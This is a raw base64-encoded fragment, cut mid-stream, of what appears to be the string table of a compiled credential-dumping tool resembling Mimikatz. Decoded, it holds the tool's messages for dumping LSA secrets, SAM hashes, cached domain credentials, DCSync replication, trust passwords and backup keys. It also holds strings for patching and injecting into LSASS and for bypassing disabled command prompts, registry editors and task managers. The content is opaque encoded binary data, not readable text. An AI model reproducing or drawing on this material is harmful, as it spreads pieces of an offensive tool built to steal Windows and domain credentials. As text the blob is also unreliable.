QB5ACgAcwApACAAOgAgACUAdQAsACAAZABlAGYAYQB1AGwAdAAgAAAAIAAgAFsAJQAwADIAdQBdACAAAAAgAAAATABTAEEAIABLAGUAeQAgADoAIAAAAAAAUwBlAGMAcgBlAHQAcwAAAHMAZQByAHYAaQBjAGUAcwAAAAAACgBTAGUAYwByAGUAdAAgACAAOgAgACUAcwAAAF8AUwBDAF8AAAAAAEMAdQByAHIAVgBhAGwAAAAKAGMAdQByAC8AAABPAGwAZABWAGEAbAAAAAAACgBvAGwAZAAvAAAAUwBlAGMAcgBlAHQAcwBcAE4ATAAkAEsATQBcAEMAdQByAHIAVgBhAGwAAABDAGEAYwBoAGUAAABOAEwAJABJAHQAZQByAGEAdABpAG8AbgBDAG8AdQBuAHQAAAAqACAATgBMACQASQB0AGUAcgBhAHQAaQBvAG4AQwBvAHUAbgB0ACAAaQBzACAAJQB1ACwAIAAlAHUAIAByAGUAYQBsACAAaQB0AGUAcgBhAHQAaQBvAG4AKABzACkACgAAAAAAKgAgAEQAQwBDADEAIABtAG8AZABlACAAIQAKAAAAAAAAAAAAKgAgAEkAdABlAHIAYQB0AGkAbwBuACAAaQBzACAAcwBlAHQAIAB0AG8AIABkAGUAZgBhAHUAbAB0ACAAKAAxADAAMgA0ADAAKQAKAAAAAABOAEwAJABDAG8AbgB0AHIAbwBsAAAAAAAKAFsAJQBzACAALQAgAAAAXQAKAFIASQBEACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAD4AIABLAGkAdwBpACAAbQBvAGQAZQAuAC4ALgAKAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAyACAAOgAgAAAAAAAgACAAQwBoAGUAYwBrAHMAdQBtACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFMAZQB0AFYAYQBsAHUAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAgAE0AcwBDAGEAYwBoAGUAVgAxACAAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABtAGEAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQAuACoAcwBcACUALgAqAHMACgAAAAAATQBzAEMAYQBjAGgAZQBWACUAYwAgADoAIAAAAE8AYgBqAGUAYwB0AE4AYQBtAGUAAAAAACAALwAgAHMAZQByAHYAaQBjAGUAIAAnACUAcwAnACAAdwBpAHQAaAAgAHUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBlAGMAcgBlAHQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAFMAZQBjAHIAZQB0ACAAdgBhAGwAdQBlACAASwBPAAoAAAB0AGUAeAB0ADoAIAAlAHcAWgAAAGgAZQB4ACAAOgAgAAAAAAAkAE0AQQBDAEgASQBOAEUALgBBAEMAQwAAAAAACgAgACAAIAAgAE4AVABMAE0AOgAAAAAACgAgACAAIAAgAFMASABBADEAOgAAAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0AAAAAAAoAIAAgACAAIABmAHUAbABsADoAIAAAAAoAIAAgACAAIABtAC8AdQAgADoAIAAAACAALwAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFNhbUlDb25uZWN0AFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIATHNhSVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3lUcnVzdGVkAAAATHNhSUZyZWVfTFNBUFJfUE9MSUNZX0lORk9STUFUSU9OAAAAVmlydHVhbEFsbG9jAAAAAExvY2FsRnJlZQAAAG1lbWNweQAAcABhAHQAYwBoAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAAoAIAAqACAAJQBzAAoAAAAgACAAIAAgAEwATQAgACAAIAA6ACAAAAAKACAAIAAgACAATgBUAEwATQAgADoAIAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAgACAAIAAgACUAMAAyAHUAIAAgAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbABzAAAATwBsAGQAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABJAHQAZQByAGEAdABpAG8AbgBzACAAOgAgACUAdQAKAAAAAABTAGUAcgB2AGkAYwBlAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATwBsAGQAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAIAAgACAAIABSAGEAbgBkAG8AbQAgAFYAYQBsAHUAZQAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgADoAIAAAACAAIAAgACAAIAAgACUAcwAgACgAJQB1ACkAIAA6ACAAAAAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAgACAASQBuACAAAAAgAE8AdQB0ACAAAAAgAEkAbgAtADEAAABPAHUAdAAtADEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAbgB0AGQAcwAAAAAACQBQAEYAWAAgAGMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABrAGUAeQAAAGwAZQBnAGEAYwB5AAAAAAAAAAAAIAAgACoAIABVAG4AawBuAG8AdwBuACAAawBlAHkAIAAoAHMAZQBlAG4AIABhAHMAIAAlADAAOAB4ACkACgAAAAkARQB4AHAAbwByAHQAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAC0AIAAnACUAcwAnAAoAAAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABLAGUAeQBGAHIAbwBtAEcAVQBJAEQAIAA7ACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8ATABzAGEAUgBlAHQAcgBpAGUAdgBlAFAAcgBpAHYAYQB0AGUARABhAHQAYQA6ACAAMAB4ACUAMAA4AHgACgAAAAAAIABzAGUAZQBtAHMAIAB0AG8AIABiAGUAIABhACAAdgBhAGwAaQBkACAARwBVAEkARAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYgBrAGUAeQAgADsAIABJAG4AdgBhAGwAaQBkAGUAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAAAAAKAEMAdQByAHIAZQBuAHQAIABwAHIAZQBmAGUAcgBlAGQAIABrAGUAeQA6ACAAIAAgACAAIAAgACAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAGQAbwBtAGEAaQBuAAoAAABkAGMAAAAAAGsAZABjAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAABbAEQAQwBdACAATwBiAGoAZQBjAHQAIAB3AGkAdABoACAARwBVAEkARAAgACcAJQBzACcACgAAAAAAAABbAEQAQwBdACAAJwAlAHMAJwAgAHcAaQBsAGwAIABiAGUAIAB0AGgAZQAgAHUAcwBlAHIAIABhAGMAYwBvAHUAbgB0AAoAAABbAEQAQwBdACAAbQBzAC0ARABTAC0AUgBlAHAAbABpAGMAYQB0AGkAbwBuAEUAcABvAGMAaAAgAGkAcwA6ACAAJQB1AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAFIAUwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwAsACAAaQBuAHYAYQBsAGkAZAAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgAGEAbgBkAC8AbwByACAAYwBOAHUAbQBPAGIAagBlAGMAdABzACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAbwByACAAZwB1AGkAZAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABDAG8AbgB0AHIAbwBsAGwAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwAgADsAIABEAG8AbQBhAGkAbgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAsACAAbwByACAAZABvAGUAcwBuACcAdAAgAGwAbwBvAGsAIABsAGkAawBlACAAYQAgAEYAUQBEAE4ACgAAAAAAJQBzACUALgAqAHMAJQBzAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQARABFAFMAMgBiAGwAbwBjAGsAcwAxAEQAVwBPAFIARAAAAAAACgBPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEQATwBNAEEASQBOAF8ATwBCAEoARQBDAFQAAABHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBHAFIATwBVAFAAXwBPAEIASgBFAEMAVAAAAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEEATABJAEEAUwBfAE8AQgBKAEUAQwBUAAAAVQBTAEUAUgBfAE8AQgBKAEUAQwBUAAAATQBBAEMASABJAE4ARQBfAEEAQwBDAE8AVQBOAFQAAABUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAQQBQAFAAXwBCAEEAUwBJAEMAXwBHAFIATwBVAFAAAABBAFAAUABfAFEAVQBFAFIAWQBfAEcAUgBPAFUAUAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAATwBiAGoAZQBjAHQAIABTAGUAYwB1AHIAaQB0AHkAIABJAEQAIAAgACAAOgAgAAAATwBiAGoAZQBjAHQAIABSAGUAbABhAHQAaQB2AGUAIABJAEQAIAAgACAAOgAgACUAdQAKAAAAAAAKAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAAAG4AdABsAG0AAAAAAGwAbQAgACAAAAAAAAoAUwB1AHAAcABsAGUAbQBlAG4AdABhAGwAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAKgAgACUAdwBaACAAKgAKAAAAAAAlMDJ4AAAAACAAIAAgACAAVQBuAGsAbgBvAHcAbgAgAGQAYQB0AGEAIAA6ACAAAAAAAAAAKgAqACAAVABSAFUAUwBUAEUARAAgAEQATwBNAEEASQBOACAALQAgAEEAbgB0AGkAcwBvAGMAaQBhAGwAIAAqACoACgAKAAAAUABhAHIAdABuAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAABhAGMAYwBvAHUAbgB0AAAAYwBvAG0AcAB1AHQAZQByAAAAAAAgACAAQQBjAGMAbwB1AG4AdAA6ACAAJQBzAAoAAAAAACAAIABOAFQATABNACAAIAAgADoAIAAAACAAIABOAFQATABNAC0AMQAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBUAHIAdQBzAHQAUABhAHMAcwB3AG8AcgBkAHMARwBlAHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABkAG8AZQBzACAAbgBvAHQAIABtAGEAdABjAGgAIABDAGEAbgBkAGkAZABhAHQAZQBTAGUAcgB2AGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAQQB1AHQAaABlAG4AdABpAGMAYQB0AGUAMgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAFIAZQBxAEMAaABhAGwAbABlAG4AZwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAZABjAAoAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABjAG8AbQBwAHIAZQBzAHMAbQBlAAAAAABzAGsAZQBsAGUAdABvAG4AAAAAAG0AZQBtAHMAcwBwAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABUAHIAeQAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYQBsAGwAIABtAG8AZAB1AGwAZQBzACAAdwBpAHQAaAAgAEQAZQB0AG8AdQByAHMALQBsAGkAawBlACAAaABvAG8AawBzAAAAZABlAHQAbwB1AHIAcwAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAAVABhAHMAawAgAE0AYQBuAGEAZwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByACkAAAAAAHQAYQBzAGsAbQBnAHIAAAAAAAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHIAZQBnAGUAZABpAHQAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAGMAbQBkAAAATQBpAHMAYwBlAGwAbABhAG4AZQBvAHUAcwAgAG0AbwBkAHUAbABlAAAAAABtAGkAcwBjAAAAAABLAGkAdwBpAEEAbgBkAEMATQBEAAAAAABEAGkAcwBhAGIAbABlAEMATQBEAAAAAABjAG0AZAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAVABhAHMAawBNAGcAcgAAAAAARABpAHMAYQBiAGwAZQBUAGEAcwBrAE0AZwByAAAAAAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAAABkAHMATgBjAFMAZQByAHYAaQBjAGUAAAAJACgAJQB3AFoAKQAAAAAACQBbACUAdQBdACAAJQB3AFoAIAAhACAAAAAAACUALQAzADIAUwAAACMAIAAlAHUAAAAAAAkAIAAlAHAAIAAtAD4AIAAlAHAAAAAAACUAdwBaACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABQAGEAdABjAGgAIABPAEsAIABmAG8AcgAgACcAJQBzACcAIABmAHIAbwBtACAAJwAlAHMAJwAgAHQAbwAgACcAJQBzACcAIABAACAAJQBwAAoAAAA